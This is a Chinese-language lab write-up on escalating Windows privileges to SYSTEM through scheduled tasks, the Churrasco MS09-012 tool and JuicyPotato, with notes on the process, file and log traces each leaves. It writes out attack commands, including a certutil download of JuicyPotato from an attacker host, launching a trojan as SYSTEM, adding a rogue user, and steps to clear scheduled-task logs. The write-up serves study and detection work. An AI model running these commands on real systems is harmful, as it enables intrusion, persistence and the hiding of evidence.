0x01 计划任务

1.1 简介

当我们获得了一个管理员账户时,想要更大的权限就得提权至 system,而计划任务默认是以 system 权限启动的,所以,我们可以利用计划任务来提权至 system。

1.2 at

1.2.1 利用条件

  • windows 2000、2003、xp
  • 拥有管理员账户

1.2.2 实验环境 1

  • Windows Server 2003 Enterprise x64 Edition

1.2.3 利用方法

打开 cmd,可以看到我们目前是 administrator 权限,用命令at 10:23 /interactive cmd创建一项计划任务,以交互模式打开 cmd,默认是用 system 权限执行计划任务

到了设计划间,便会弹出以 system 权限启动的 cmd 窗口,使用命令whoami查看,确实是 system 权限

1.3 schtasks

1.3.1 利用条件

  • windows >= 2003
  • 掌握管理员账户

1.3.2 实验环境 2

  • Windows Server 2008 R2 x64

1.3.3 利用方法

# 创建计划任务
schtasks /Create /TN badcode /SC DAILY /ST 07:50 /TR "C:\Users\Administrator\Documents\cs.exe" /RU SYSTEM
# 运行计划任务
schtasks /run /tn badcode
# 清除痕迹
# 停止计划任务
schtasks /End /TN badcode
# 删除计划任务
schtasks /Delete /TN badcode /F

先准备好 CS 的木马,传到目标服务器上,然后创建计划任务,并运行

收到反弹 shell,并且是 system 权限的 shell

1.4 痕迹

1.4.1 进程

在 Windows Server 2008 中,利用火绒剑来分析后台进程

创建任务时,cmd.exe 会创建进程 schtasks.exe,然后 schtasks.exe 进程启动

接着,svchost.exe 会在目录C:\Windows\System32\Tasks中创建计划任务,然后 schtasks.exe 结束进程

启动计划任务时,cmd.exe 会创建进程 schtasks.exe,然后 schtasks.exe 进程启动

schtasks.exe 进程退出后,taskeng.exe 创建了木马 cs.exe 进程,最后木马 cs.exe 进程启动。

1.4.2 文件

1.4.2.1 Windows Server 2003

在 Windows Server 2003 中,创建完计划任务以后,会在C:\WINDOWS\Tasks目录下生成一个 .job 文件,这个 .job 文件会一直存在,直到我们关闭计划任务启动的 cmd 窗口它才会自动删除,当然,我们也能手动删除。

1.4.2.2 Windows Server 2008

Windows Server 2003中,创建完计划任务以后,会在C:\Windows\System32\Tasks目录下生成任务文件,可以手动删除,也可以用命令schtasks /Delete /TN badcode /F来删除

1.4.3 日志

1.4.3.1 Windows Server 2003

在 Windows Server 2003 中,计划任务日志会保存在C:\WINDOWS\Tasks\SchedLgU.txt

如果直接清除记录,在保存的时候会报错,在 cmd 中强制删除则会提示文件被占用,这时,需要禁用 Event Log 服务并且重启系统,然后就能随意修改 SchedLgU.txt 文件了。

1.4.3.2 Windows Server 2008

在 Windows Server 2008 中,计划任务日志会保存在管理工具的任务计划程序中,我们可以通过下面两条命令来清除痕迹

# 停止计划任务
schtasks /End /TN badcode
# 删除计划任务
schtasks /Delete /TN badcode /F

1.5 踩坑记录

1.5.1

在 0x03 中,利用 schtasks 来启动木马 cs.exe 之后,不能立即停止计划任务,停止计划任务时,它也会停止 cs.exe 进程。

1.6 参考

内网渗透--本机提权

从administrator到system权限的几种方式

0x02 巴西烤肉

2.1 简介

巴西烤肉是利用系统漏洞的本地提权工具,漏洞编号为 MS09-012,补丁为 KB956572

2.2 利用条件

  • Windows Server 2003 / Windows XP
  • 获取 webshell 后要支持 cmd
  • 目标服务器未打补丁 KB956572

2.3 实验环境

  • Windows Server 2003 Enterprise Edition
  • IIS 6.0

2.4 利用方法

本次实验的前提是我们通过上传漏洞上传了一个大马,执行命令时发现 cmd 被禁了,这时,我们可以上传一个与目标服务器相同的系统的 cmd.exe 来执行命令,上传以后需要在 SHELL 路径那填上传的 cmd.exe 的路径

查看目前的权限,可以看到是 network service 权限

此时像添加用户这种操作是没有权限的

查看目标服务器是否安装补丁 KB956572,没有安装,可以提权

将提权工具巴西烤肉 chu.exe 上传到目标服务器中,然后再查看权限,此时就是 system 权限了

现在再来尝试添加用户

查看用户列表,添加成功了

2.5 痕迹

这是正常运行时的后台进程

当我们使用巴西烤肉 chu.exe 执行whoami命令时,w3wp.exe 进程先生成一个子进程 cmd.exe,然后子进程 cmd.exe 再生成一个子进程 chu.exe,执行完命令后,先结束 chu.exe 进程,再结束 cmd.exe 进程

2.6 参考

PR、巴西烤肉、iis6.0提权复现

0x03 烂土豆

3.1 简介

JuicyPotato 是一款 Windows 提权工具,称为烂土豆,漏洞编号为 MS16-075:Windows SMB 服务器特权提升漏洞(CVE 漏洞编号:CVE-2016-3225)。攻击者可以诱骗用户尝试使用 NTLM 对他的计算机进行身份验证,则他可以将该身份验证尝试中继到另一台计算机。

JuicyPotato 实现流程

  1. 加载 COM 并发送请求,在指定 ip 和端口位置尝试加载一个 COM 对象
  2. 回应步骤1的请求,并发起 NTLM 认证,由于权限不足,无法认证成功
  3. 针对本地端口同样发起 NTLM 认证,权限为当前用户
  4. 分别拦截两个 NTLM 认证的数据包,替换数据,通过 NTLM 重放使得步骤1中的认证通过,获得 system 权限的 token
  5. 利用 system 权限的 token 创建新的进程,如果开启 SeImpersonate 权限,调用 CreateProcessWithToken,传入 System 权限的 Token,创建的进程为 System 权限,或者如果开启 SeAssignPrimaryToken 权限,调用 CreateProcessAsUser,传入 System 权限的 Token,创建的进程为 System 权限。

3.2 利用条件

  • 目标系统未打补丁 KB3164038
  • 开启 DCOM
  • 本地支持 RPC 或者远程服务器支持 PRC 并能成功登录
  • 能够找到可用的 COM 对象
  • 获得一个账户,需要支持 SeImpersonate 或者 SeAssignPrimaryToken 权限
    • 如果开启 SeImpersonate 权限,juicypotato 的参数可以使用 -t t
    • 如果开启 SeAssignPrimaryToken 权限,juicypotato 的参数可以使用 -t u
    • 如果均开启,可以选择 -t *
    • 如果均未开启,那么无法提权

3.3 实验环境

  • Windows 7 x64
  • IIS 7.5

3.4 利用方法

本次实验是在上传了大马的情况下进行提权

由于 IIS 服务器的限制,不能上传大于200KB的文件,无法利用大马将 WebShell 版烂土豆传上去,好在 cmd 命令是可以使用的,我们可以利用 certutil 来下载

这里需要公网 ip,可以用 python 来搭建一个临时的 ftp 服务器

# 在烂土豆所在目录执行以下代码,端口自定义
python -m http.server 端口

然后用以下命令下载烂土豆

# cd 是为了将烂土豆下载到指定目录
cd C:\ZhiArchive && certutil -urlcache -split -f http://192.168.26.129:1234/JuicyPotato_x64.exe

查看当前用户,可以看到是IIS服务器用户

一般从 web 拿到的 webshell 都是 IIS 服务器权限,是具有模仿权限的。一般大多数的服务型账户 IIS、MSSQL 等,都有这个权限,大多数用户级的账户没有这个权限,通过命令whoami /priv查看是否具有模仿权限,可以看到具有 SeImpersonate 权限,没有 SeAssignPrimaryToken 权限

既然有 SeImpersonate 权限,那就查看是否安装补丁 KB3164038,结果是没有安装

然后将提权工具烂土豆上传到目标服务器中,查看权限,成功提权至 system

C:\ZhiArchive\JuicyPotato_x64.exe -a "whoami"

尝试添加用户

C:\ZhiArchive\JuicyPotato_x64.exe -a "net user evil Abcd1234 /add"

查看是否添加成功

到目标服务器上再次确认

3.5 痕迹

3.5.1 进程

先放部分前面的进程

进程很多,根据 JuicyPotato 的实现流程找出了可能的进程、文件和注册表,前面只能看出先出现了 cmd.exe 进程,然后是 conhost.exe 进程、svchost.exe 进程,接着又是 cmd.exe 进程,然后 cmd.exe 进程创建了JuicyPotato_x64.exe

注意这三个 .dll 文件,rpcss.dll 是一个为分布式 COM 服务提供功能的模块,cryptbase.dll 是基础加密API DLL,cryptsp.dll 是加密服务提供程序 API 的库文件。

接着访问了注册表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Defaults\Provider\Microsoft Strong Cryptographic Provider\Image Path,rsaenh.dll 是一个模块,它实现了使用128位加密的 Microsoft 增强型加密服务提供程序 (CSP),注册表HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\FipsAlgorithmPolicy\Enabled,注册表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid,看起来都是与 NTLM 有关的

接着访问了这些注册表HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\LsaHKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\COM3HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\HKEY_LOCAL_MACHINE\System\CurrentControlSet\services\WinSock2\HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\LsaExtensionConfig\

接着出现了SearchIndexer.exe进程

一大堆 SearchIndexer.exe 进程后,JuicyPotato_x64.exe 进程创建了进程 cmd.exe,这时的 cmd.exe 进程是 system 权限的

由于我们执行的是whoami命令,所以,cmd.exe 进程创建了进程 whoami.exe,这个 whoami.exe 进程也是 system 权限的

完成whoami命令以后,各个进程依次退出

3.5.2 文件

cmd.exe 在 JuicyPotato_x64.exe 同目录创建了 cmd.txt 文件,将命令的返回值写入其中,最后,DllHost.exe 删除了cmd.txt

3.6 参考

烂土豆(JuicyPotato)提权

烂土豆Juicypotato提权原理和利用

juicy-potato

JuicyPotato